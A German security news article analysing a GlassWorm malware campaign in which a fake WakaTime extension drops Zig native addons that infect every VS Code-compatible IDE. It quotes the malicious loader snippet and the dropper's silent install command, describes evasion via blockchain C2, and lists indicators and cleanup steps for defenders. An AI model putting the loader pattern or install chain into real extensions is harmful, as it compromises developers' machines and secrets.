GlassWorm: Native-Zig-Dropper infiziert alle VS Code-Editoren
Eine neue Phase der GlassWorm-Kampagne nutzt eine gefälschte WakaTime-Erweiterung im Open VSX-Repository, um eine native Zig-Binärdatei zu verteilen. Dieser Code umgeht den JS-Sandbox-Schutz, scannt das System und installiert Malware in allen IDEs, die mit VS Code kompatibel sind – von VS Code selbst über Cursor bis hin zu Positron.
Forscher von Aikido Security entdeckten die Erweiterung code-wakatime-activity-tracker, die der echten WakaTime nachempfunden ist, jedoch über eine veränderte activate()-Funktion verfügt. Diese Funktion lädt die Binärdatei win.node (Windows) oder mac.node (macOS) herunter und löst einen vollständigen Infektionsprozess aus.
Initialer Ladevorgang
Die activate()-Funktion erfordert das native Addon:
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();
Diese Binärdateien sind Node.js-native Addons (PE32+ DLL unter Windows, Mach-O unter macOS für x86_64/arm64), kompiliert mit Zig. Sie injizieren sich direkt in die Node-Runtime mit Betriebssystemrechten und umgehen so die JavaScript-Sandbox. Debug-Symbole im macOS-Teil weisen auf /Users/davidioasd/Downloads/vsx_installer_zig hin.
Anschließend enumeriert die Binärdatei Pfade zu IDEs:
- Windows:
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd %LOCALAPPDATA%\Programs\Cursor\resources\app\bin\cursor.cmd- Ähnliche Pfade für VS Code Insiders, Windsurf, VSCodium und Positron.
Unter macOS: /Applications/*.app für dieselben Editoren. Falls mehrere IDEs vorhanden sind, werden alle kompromittiert.
Zweite Stufe: Autoimport-Fälschung
Die Binärdatei lädt die .vsix-Datei floktokbok.autoimport von GitHub Releases herunter (eine Kopie von steoates.autoimport, mit über 5 Millionen Installationen). Jede IDE wird per CLI installiert:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"
Nach der Installation entfernt cleanupVsix() Spuren. Der zweite Dropper überspringt russischsprachige Lokalisierungen und nutzt die Solana-Blockchain für die C2-Kommunikation (Adresse aus Wallet-Transaktionen extrahiert). Er exfiltriert Geheimnisse, deployt ein RAT und installiert einen Chrome-Infostealer zur Cookie-Auswertung und Tastaturprotokollierung.
Angriffs-Trade-offs:
- Vorteile: Native Code bleibt in DevTools unsichtbar; Solana-basierte C2 widersteht Domain-Blocking.
- Nachteile: Binär-Hashes bleiben statisch, bis neu gebaut; begrenzt auf Windows und macOS.
Entwicklung von GlassWorm
Die Kampagne läuft seit März 2025 – entwickelte sich von Unicode-Payload-NPM-Paketen über GitHub bis hin zum VS Code Marketplace. Der entscheidende Schritt? Einsatz von Zig-basierten Addons statt JavaScript, was eine OS-ebene Analyse erfordert. Hunderte Projekte wurden bereits kompromittiert.
Indikatoren des Angriffs
Erweiterungen:
specstudio.code-wakatime-activity-trackerfloktokbok.autoimport
SHA-256-Binärdateien:
- win.node:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02 - mac.node:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
Strings: vsx_installer_zig, davidioasd
Wichtige Erkenntnisse
- Native Zig-Addons umgehen JS-Analyse – überwachen Sie
.node- und.dll-Dateien in Erweiterungen. - Die Infektion erfolgt kettenartig: Eine kompromittierte Erweiterung infiziert alle VS Code-Forks auf dem Gerät.
- Solana-basierte C2: Domain-Blocking ist wirkungslos – Blockchain-Monitoring ist essenziell.
- Überspringen der russischen Sprache deutet auf gezieltes Ziel hin – rotieren Sie Ihre Geheimnisse sofort bei Verdacht.
- Prävention: Überprüfen Sie Publisher und Installationszahlen; scannen Sie EDR-Ordner nach Erweiterungen.
Bereinigungsmaßnahmen
- Prüfen Sie Erweiterungen in allen IDEs (VS Code, Cursor usw.).
- Entfernen Sie verdächtige Erweiterungen; rotieren Sie SSH-Schlüssel, Tokens (npm, GitHub PAT, AWS).
- Löschen Sie unbekannte Erweiterungen in Chrome und melden Sie sich überall ab.
- Implementieren Sie Erweiterungs-Whitelisting und EDR für native Addons.
— Editorial Team
Noch keine Kommentare.